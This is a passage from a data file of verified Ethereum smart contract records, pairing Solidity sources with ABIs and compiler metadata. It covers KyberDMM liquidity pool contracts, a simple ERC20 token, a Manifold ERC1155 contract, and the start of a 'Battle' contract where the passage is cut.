"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token0","outputs":[{"internalType":"contract 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
DMMPool | contracts/libraries/ERC20Permit.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
/// @dev https://eips.ethereum.org/EIPS/eip-2612
contract ERC20Permit is ERC20, IERC20Permit {
/// @dev To make etherscan auto-verify new pool, this variable is not immutable
bytes32 public domainSeparator;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32
public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
constructor(
string memory name,
string memory symbol,
string memory version
) public ERC20(name, symbol) {
uint256 chainId;
assembly {
chainId := chainid()
}
domainSeparator = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this)
)
);
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(deadline >= block.timestamp, "ERC20Permit: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"ERC20Permit: INVALID_SIGNATURE"
);
_approve(owner, spender, value);
}
} | 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
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DMMPool | contracts/interfaces/IDMMFactory.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
interface IDMMFactory {
function createPool(
IERC20 tokenA,
IERC20 tokenB,
uint32 ampBps
) external returns (address pool);
function setFeeConfiguration(address feeTo, uint16 governmentFeeBps) external;
function setFeeToSetter(address) external;
function getFeeConfiguration() external view returns (address feeTo, uint16 governmentFeeBps);
function feeToSetter() external view returns (address);
function allPools(uint256) external view returns (address pool);
function allPoolsLength() external view returns (uint256);
function getUnamplifiedPool(IERC20 token0, IERC20 token1) external view returns (address);
function getPools(IERC20 token0, IERC20 token1)
external
view
returns (address[] memory _tokenPools);
function isPool(
IERC20 token0,
IERC20 token1,
address pool
) external view returns (bool);
} | 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
DMMPool | contracts/interfaces/IDMMCallee.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
interface IDMMCallee {
function dmmSwapCall(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
} | 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IERC20","name":"_token0","type":"address"},{"internalType":"contract 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
DMMPool | contracts/interfaces/IDMMPool.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
interface IDMMPool {
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function sync() external;
function getReserves() external view returns (uint112 reserve0, uint112 reserve1);
function getTradeInfo()
external
view
returns (
uint112 _vReserve0,
uint112 _vReserve1,
uint112 reserve0,
uint112 reserve1,
uint256 feeInPrecision
);
function token0() external view returns (IERC20);
function token1() external view returns (IERC20);
function ampBps() external view returns (uint32);
function factory() external view returns (IDMMFactory);
function kLast() external view returns (uint256);
} | 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IERC20","name":"_token0","type":"address"},{"internalType":"contract IERC20","name":"_token1","type":"address"},{"internalType":"uint32","name":"_ampBps","type":"uint32"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"kLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"callbackData","type":"bytes"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token0","outputs":[{"internalType":"contract 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
DMMPool | contracts/VolumeTrendRecorder.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
/// @dev contract to calculate volume trend. See secion 3.1 in the white paper
/// @dev EMA stands for Exponential moving average
/// @dev https://en.wikipedia.org/wiki/Moving_average
contract VolumeTrendRecorder {
using MathExt for uint256;
using SafeMath for uint256;
uint256 private constant MAX_UINT128 = 2**128 - 1;
uint256 internal constant PRECISION = 10**18;
uint256 private constant SHORT_ALPHA = (2 * PRECISION) / 5401;
uint256 private constant LONG_ALPHA = (2 * PRECISION) / 10801;
uint128 internal shortEMA;
uint128 internal longEMA;
// total volume in current block
uint128 internal currentBlockVolume;
uint128 internal lastTradeBlock;
event UpdateEMA(uint256 shortEMA, uint256 longEMA, uint128 lastBlockVolume, uint256 skipBlock);
constructor(uint128 _emaInit) public {
shortEMA = _emaInit;
longEMA = _emaInit;
lastTradeBlock = safeUint128(block.number);
}
function getVolumeTrendData()
external
view
returns (
uint128 _shortEMA,
uint128 _longEMA,
uint128 _currentBlockVolume,
uint128 _lastTradeBlock
)
{
_shortEMA = shortEMA;
_longEMA = longEMA;
_currentBlockVolume = currentBlockVolume;
_lastTradeBlock = lastTradeBlock;
}
/// @dev records a new trade, update ema and returns current rFactor for this trade
/// @return rFactor in Precision for this trade
function recordNewUpdatedVolume(uint256 blockNumber, uint256 value)
internal
returns (uint256)
{
// this can not be underflow because block.number always increases
uint256 skipBlock = blockNumber - lastTradeBlock;
if (skipBlock == 0) {
currentBlockVolume = safeUint128(
uint256(currentBlockVolume).add(value),
"volume exceeds valid range"
);
return calculateRFactor(uint256(shortEMA), uint256(longEMA));
}
uint128 _currentBlockVolume = currentBlockVolume;
uint256 _shortEMA = newEMA(shortEMA, SHORT_ALPHA, currentBlockVolume);
uint256 _longEMA = newEMA(longEMA, LONG_ALPHA, currentBlockVolume);
// ema = ema * (1-aplha) ^(skipBlock -1)
_shortEMA = _shortEMA.mulInPrecision(
(PRECISION - SHORT_ALPHA).unsafePowInPrecision(skipBlock - 1)
);
_longEMA = _longEMA.mulInPrecision(
(PRECISION - LONG_ALPHA).unsafePowInPrecision(skipBlock - 1)
);
shortEMA = safeUint128(_shortEMA);
longEMA = safeUint128(_longEMA);
currentBlockVolume = safeUint128(value);
lastTradeBlock = safeUint128(blockNumber);
emit UpdateEMA(_shortEMA, _longEMA, _currentBlockVolume, skipBlock);
return calculateRFactor(_shortEMA, _longEMA);
}
/// @return rFactor in Precision for this trade
function getRFactor(uint256 blockNumber) internal view returns (uint256) {
// this can not be underflow because block.number always increases
uint256 skipBlock = blockNumber - lastTradeBlock;
if (skipBlock == 0) {
return calculateRFactor(shortEMA, longEMA);
}
uint256 _shortEMA = newEMA(shortEMA, SHORT_ALPHA, currentBlockVolume);
uint256 _longEMA = newEMA(longEMA, LONG_ALPHA, currentBlockVolume);
_shortEMA = _shortEMA.mulInPrecision(
(PRECISION - SHORT_ALPHA).unsafePowInPrecision(skipBlock - 1)
);
_longEMA = _longEMA.mulInPrecision(
(PRECISION - LONG_ALPHA).unsafePowInPrecision(skipBlock - 1)
);
return calculateRFactor(_shortEMA, _longEMA);
}
function calculateRFactor(uint256 _shortEMA, uint256 _longEMA)
internal
pure
returns (uint256)
{
if (_longEMA == 0) {
return 0;
}
return (_shortEMA * MathExt.PRECISION) / _longEMA;
}
/// @dev return newEMA value
/// @param ema previous ema value in wei
/// @param alpha in Precicion (required < Precision)
/// @param value current value to update ema
/// @dev ema and value is uint128 and alpha < Percison
/// @dev so this function can not overflow and returned ema is not overflow uint128
function newEMA(
uint128 ema,
uint256 alpha,
uint128 value
) internal pure returns (uint256) {
assert(alpha < PRECISION);
return ((PRECISION - alpha) * uint256(ema) + alpha * uint256(value)) / PRECISION;
}
function safeUint128(uint256 v) internal pure returns (uint128) {
require(v <= MAX_UINT128, "overflow uint128");
return uint128(v);
}
function safeUint128(uint256 v, string memory errorMessage) internal pure returns (uint128) {
require(v <= MAX_UINT128, errorMessage);
return uint128(v);
}
} | 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
DMMPool | contracts/DMMPool.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
contract DMMPool is IDMMPool, ERC20Permit, ReentrancyGuard, VolumeTrendRecorder {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 internal constant MAX_UINT112 = 2**112 - 1;
uint256 internal constant BPS = 10000;
struct ReserveData {
uint256 reserve0;
uint256 reserve1;
uint256 vReserve0;
uint256 vReserve1; // only used when isAmpPool = true
}
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
/// @dev To make etherscan auto-verify new pool, these variables are not immutable
IDMMFactory public override factory;
IERC20 public override token0;
IERC20 public override token1;
/// @dev uses single storage slot, accessible via getReservesData
uint112 internal reserve0;
uint112 internal reserve1;
uint32 public override ampBps;
/// @dev addition param only when amplification factor > 1
uint112 internal vReserve0;
uint112 internal vReserve1;
/// @dev vReserve0 * vReserve1, as of immediately after the most recent liquidity event
uint256 public override kLast;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to,
uint256 feeInPrecision
);
event Sync(uint256 vReserve0, uint256 vReserve1, uint256 reserve0, uint256 reserve1);
constructor() public ERC20Permit("KyberDMM LP", "DMM-LP", "1") VolumeTrendRecorder(0) {
factory = IDMMFactory(msg.sender);
}
// called once by the factory at time of deployment
function initialize(
IERC20 _token0,
IERC20 _token1,
uint32 _ampBps
) external {
require(msg.sender == address(factory), "DMM: FORBIDDEN");
token0 = _token0;
token1 = _token1;
ampBps = _ampBps;
}
/// @dev this low-level function should be called from a contract
/// which performs important safety checks
function mint(address to) external override nonReentrant returns (uint256 liquidity) {
(bool isAmpPool, ReserveData memory data) = getReservesData();
ReserveData memory _data;
_data.reserve0 = token0.balanceOf(address(this));
_data.reserve1 = token1.balanceOf(address(this));
uint256 amount0 = _data.reserve0.sub(data.reserve0);
uint256 amount1 = _data.reserve1.sub(data.reserve1);
bool feeOn = _mintFee(isAmpPool, data);
uint256 _totalSupply = totalSupply(); // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
if (isAmpPool) {
uint32 _ampBps = ampBps;
_data.vReserve0 = _data.reserve0.mul(_ampBps) / BPS;
_data.vReserve1 = _data.reserve1.mul(_ampBps) / BPS;
}
liquidity = MathExt.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(-1), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(
amount0.mul(_totalSupply) / data.reserve0,
amount1.mul(_totalSupply) / data.reserve1
);
if (isAmpPool) {
uint256 b = liquidity.add(_totalSupply);
_data.vReserve0 = Math.max(data.vReserve0.mul(b) / _totalSupply, _data.reserve0);
_data.vReserve1 = Math.max(data.vReserve1.mul(b) / _totalSupply, _data.reserve1);
}
}
require(liquidity > 0, "DMM: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(isAmpPool, _data);
if (feeOn) kLast = getK(isAmpPool, _data);
emit Mint(msg.sender, amount0, amount1);
}
/// @dev this low-level function should be called from a contract
/// @dev which performs important safety checks
/// @dev user must transfer LP token to this contract before call burn
function burn(address to)
external
override
nonReentrant
returns (uint256 amount0, uint256 amount1)
{
(bool isAmpPool, ReserveData memory data) = getReservesData(); // gas savings
IERC20 _token0 = token0; // gas savings
IERC20 _token1 = token1; // gas savings
uint256 balance0 = _token0.balanceOf(address(this));
uint256 balance1 = _token1.balanceOf(address(this));
require(balance0 >= data.reserve0 && balance1 >= data.reserve1, "DMM: UNSYNC_RESERVES");
uint256 liquidity = balanceOf(address(this));
bool feeOn = _mintFee(isAmpPool, data);
uint256 _totalSupply = totalSupply(); // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, "DMM: INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_token0.safeTransfer(to, amount0);
_token1.safeTransfer(to, amount1);
ReserveData memory _data;
_data.reserve0 = _token0.balanceOf(address(this));
_data.reserve1 = _token1.balanceOf(address(this));
if (isAmpPool) {
uint256 b = Math.min(
_data.reserve0.mul(_totalSupply) / data.reserve0,
_data.reserve1.mul(_totalSupply) / data.reserve1
);
_data.vReserve0 = Math.max(data.vReserve0.mul(b) / _totalSupply, _data.reserve0);
_data.vReserve1 = Math.max(data.vReserve1.mul(b) / _totalSupply, _data.reserve1);
}
_update(isAmpPool, _data);
if (feeOn) kLast = getK(isAmpPool, _data); // data are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
/// @dev this low-level function should be called from a contract
/// @dev which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata callbackData
) external override nonReentrant {
require(amount0Out > 0 || amount1Out > 0, "DMM: INSUFFICIENT_OUTPUT_AMOUNT");
(bool isAmpPool, ReserveData memory data) = getReservesData(); // gas savings
require(
amount0Out < data.reserve0 && amount1Out < data.reserve1,
"DMM: INSUFFICIENT_LIQUIDITY"
);
ReserveData memory newData;
{
// scope for _token{0,1}, avoids stack too deep errors
IERC20 _token0 = token0;
IERC20 _token1 = token1;
require(to != address(_token0) && to != address(_token1), "DMM: INVALID_TO");
if (amount0Out > 0) _token0.safeTransfer(to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _token1.safeTransfer(to, amount1Out); // optimistically transfer tokens
if (callbackData.length > 0)
IDMMCallee(to).dmmSwapCall(msg.sender, amount0Out, amount1Out, callbackData);
newData.reserve0 = _token0.balanceOf(address(this));
newData.reserve1 = _token1.balanceOf(address(this));
if (isAmpPool) {
newData.vReserve0 = data.vReserve0.add(newData.reserve0).sub(data.reserve0);
newData.vReserve1 = data.vReserve1.add(newData.reserve1).sub(data.reserve1);
}
}
uint256 amount0In = newData.reserve0 > data.reserve0 - amount0Out
? newData.reserve0 - (data.reserve0 - amount0Out)
: 0;
uint256 amount1In = newData.reserve1 > data.reserve1 - amount1Out
? newData.reserve1 - (data.reserve1 - amount1Out)
: 0;
require(amount0In > 0 || amount1In > 0, "DMM: INSUFFICIENT_INPUT_AMOUNT");
uint256 feeInPrecision = verifyBalanceAndUpdateEma(
amount0In,
amount1In,
isAmpPool ? data.vReserve0 : data.reserve0,
isAmpPool ? data.vReserve1 : data.reserve1,
isAmpPool ? newData.vReserve0 : newData.reserve0,
isAmpPool ? newData.vReserve1 : newData.reserve1
);
_update(isAmpPool, newData);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to, feeInPrecision);
}
/// @dev force balances to match reserves
function skim(address to) external nonReentrant {
token0.safeTransfer(to, token0.balanceOf(address(this)).sub(reserve0));
token1.safeTransfer(to, token1.balanceOf(address(this)).sub(reserve1));
}
/// @dev force reserves to match balances
function sync() external override nonReentrant {
(bool isAmpPool, ReserveData memory data) = getReservesData();
bool feeOn = _mintFee(isAmpPool, data);
ReserveData memory newData;
newData.reserve0 = IERC20(token0).balanceOf(address(this));
newData.reserve1 = IERC20(token1).balanceOf(address(this));
// update virtual reserves if this is amp pool
if (isAmpPool) {
uint256 _totalSupply = totalSupply();
uint256 b = Math.min(
newData.reserve0.mul(_totalSupply) / data.reserve0,
newData.reserve1.mul(_totalSupply) / data.reserve1
);
newData.vReserve0 = Math.max(data.vReserve0.mul(b) / _totalSupply, newData.reserve0);
newData.vReserve1 = Math.max(data.vReserve1.mul(b) / _totalSupply, newData.reserve1);
}
_update(isAmpPool, newData);
if (feeOn) kLast = getK(isAmpPool, newData);
}
/// @dev returns data to calculate amountIn, amountOut
function getTradeInfo()
external
virtual
override
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint112 _vReserve0,
uint112 _vReserve1,
uint256 feeInPrecision
)
{
// gas saving to read reserve data
_reserve0 = reserve0;
_reserve1 = reserve1;
uint32 _ampBps = ampBps;
_vReserve0 = vReserve0;
_vReserve1 = vReserve1;
if (_ampBps == BPS) {
_vReserve0 = _reserve0;
_vReserve1 = _reserve1;
}
uint256 rFactorInPrecision = getRFactor(block.number);
feeInPrecision = getFinalFee(FeeFomula.getFee(rFactorInPrecision), _ampBps);
}
/// @dev returns reserve data to calculate amount to add liquidity
function getReserves() external override view returns (uint112 _reserve0, uint112 _reserve1) {
_reserve0 = reserve0;
_reserve1 = reserve1;
}
function name() public override view returns (string memory) {
IERC20Metadata _token0 = IERC20Metadata(address(token0));
IERC20Metadata _token1 = IERC20Metadata(address(token1));
return string(abi.encodePacked("KyberDMM LP ", _token0.symbol(), "-", _token1.symbol()));
}
function symbol() public override view returns (string memory) {
IERC20Metadata _token0 = IERC20Metadata(address(token0));
IERC20Metadata _token1 = IERC20Metadata(address(token1));
return string(abi.encodePacked("DMM-LP ", _token0.symbol(), "-", _token1.symbol()));
}
function verifyBalanceAndUpdateEma(
uint256 amount0In,
uint256 amount1In,
uint256 beforeReserve0,
uint256 beforeReserve1,
uint256 afterReserve0,
uint256 afterReserve1
) internal virtual returns (uint256 feeInPrecision) {
// volume = beforeReserve0 * amount1In / beforeReserve1 + amount0In (normalized into amount in token 0)
uint256 volume = beforeReserve0.mul(amount1In).div(beforeReserve1).add(amount0In);
uint256 rFactorInPrecision = recordNewUpdatedVolume(block.number, volume);
feeInPrecision = getFinalFee(FeeFomula.getFee(rFactorInPrecision), ampBps);
// verify balance update matches with fomula
uint256 balance0Adjusted = afterReserve0.mul(PRECISION);
balance0Adjusted = balance0Adjusted.sub(amount0In.mul(feeInPrecision));
balance0Adjusted = balance0Adjusted / PRECISION;
uint256 balance1Adjusted = afterReserve1.mul(PRECISION);
balance1Adjusted = balance1Adjusted.sub(amount1In.mul(feeInPrecision));
balance1Adjusted = balance1Adjusted / PRECISION;
require(
balance0Adjusted.mul(balance1Adjusted) >= beforeReserve0.mul(beforeReserve1),
"DMM: K"
);
}
/// @dev update reserves
function _update(bool isAmpPool, ReserveData memory data) internal {
reserve0 = safeUint112(data.reserve0);
reserve1 = safeUint112(data.reserve1);
if (isAmpPool) {
assert(data.vReserve0 >= data.reserve0 && data.vReserve1 >= data.reserve1); // never happen
vReserve0 = safeUint112(data.vReserve0);
vReserve1 = safeUint112(data.vReserve1);
}
emit Sync(data.vReserve0, data.vReserve1, data.reserve0, data.reserve1);
}
/// @dev if fee is on, mint liquidity equivalent to configured fee of the growth in sqrt(k)
function _mintFee(bool isAmpPool, ReserveData memory data) internal returns (bool feeOn) {
(address feeTo, uint16 governmentFeeBps) = factory.getFeeConfiguration();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = MathExt.sqrt(getK(isAmpPool, data));
uint256 rootKLast = MathExt.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply().mul(rootK.sub(rootKLast)).mul(
governmentFeeBps
);
uint256 denominator = rootK.add(rootKLast).mul(5000);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
/// @dev gas saving to read reserve data
function getReservesData() internal view returns (bool isAmpPool, ReserveData memory data) {
data.reserve0 = reserve0;
data.reserve1 = reserve1;
isAmpPool = ampBps != BPS;
if (isAmpPool) {
data.vReserve0 = vReserve0;
data.vReserve1 = vReserve1;
}
}
function getFinalFee(uint256 feeInPrecision, uint32 _ampBps) internal pure returns (uint256) {
if (_ampBps <= 20000) {
return feeInPrecision;
} else if (_ampBps <= 50000) {
return (feeInPrecision * 20) / 30;
} else if (_ampBps <= 200000) {
return (feeInPrecision * 10) / 30;
} else {
return (feeInPrecision * 4) / 30;
}
}
function getK(bool isAmpPool, ReserveData memory data) internal pure returns (uint256) {
return isAmpPool ? data.vReserve0 * data.vReserve1 : data.reserve0 * data.reserve1;
}
function safeUint112(uint256 x) internal pure returns (uint112) {
require(x <= MAX_UINT112, "DMM: OVERFLOW");
return uint112(x);
}
} | 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
tronp | tronp.sol | 0x99ec0887ab5564cf6a92e2f0fc4c32284c812847 | Solidity | pragma solidity >=0.4.22 <0.6.0;
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint remaining);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function transfer(address to, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract tronp is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 150000000*10**uint256(decimals);
string public constant name = "TronPamp";
string public constant symbol = "TPMP";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool success) {
if (balances[msg.sender] >= value && value > 0) {
balances[msg.sender] -= value;
balances[to] += value;
emit Transfer(msg.sender, to, value);
return true;
} else {
return false;
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function () external payable {
teamAddress.transfer(msg.value);
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
} | [{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | Default | None | false | bzzr://8f0a54cea13dbc8cc3398ec28871bc0b0d7439ad04cb6e9234d2681cbbd38ef5 |
|||
Be1 | contracts/Be1.sol | 0x73588494b7bd3ad589f81496cba5b4f867364b2c | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Be1
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
//////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// .*( //
// .,(. //
// .*(. //
// .*(. //
// .*(, //
// .*(, //
// .*(* //
// .*(, //
// * ...,* //
// * ...,*, //
// . * ...,*, .,,,*.... ((((.. .. ///// //
// . * ...,*,*////***(**,,,//*/****** .,,,.....,,,,...#((((.....(////,. //
// ... .,,,*,,,,,,***,(,,,,.*****/,, ,*((/.....*/**....(/(/(///(,,,,,..*. //
// ... .,,***,,,,,....*,,,,,//***,,**.###*,.../*.%,,,,%(((/********,,..,, //
// , ,,/(###,,.../******.....(((((*,,,*,*##*,.... .*,*,,,,,*. //
// . .,/(###/ .*,,..,,,*,/##,,.... ,/**,,,,,*. //
// . .,/(###/ .*,*.. ((/*##,,.... (((((((((((((((//////,,,* //
// ,*/((, .*,,. /((*#(,,....(((((((((((((((((*******,. //
// ,*/((, .*,,. /((*(/**,..*(((((((((//////(#(//***, //
// ,*/((, *,,. /((*(/**,..*,///////******,,,... //
// .,,//, *,, /(/**(//****. //
// .,,,.,**/, *,, /(//*(//****. //
// .,,,.,*//. ,,, /(//*(//****. //
// .,,,.,,*/. ./,* ((/**(//**** //
// ...,,* ..,. ./,.,*****,,*(//**** ,,*,(/////*(*/***,,//,* //
// ..,,,* ....#*,,,/(,,*,,,,*/(((/***,*,**(//*#.. ..*,,,,,,,,,,,,,,////// //
// .,,,,** ....##....... (((((((((/,,,,.*(#(((((.....,********//#/******* //
// ,,****(.............,....../,,,,,* /(((((((((((*...(///*,,,,,. //
// ,*** ,,*.. .......(((((((//*** /((, //
// ...,,,,,,,,,,,////*, //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////
contract Be1 is ERC1155Creator {
constructor() ERC1155Creator() {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0x142fd5b9d67721efda3a5e2e9be47a96c9b724a4 | ||||
Battle | contracts/Battle.sol | 0x45f4e1721d7cb6f571efb774e85349271e00e88b | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
interface INodeRunnersNFT {
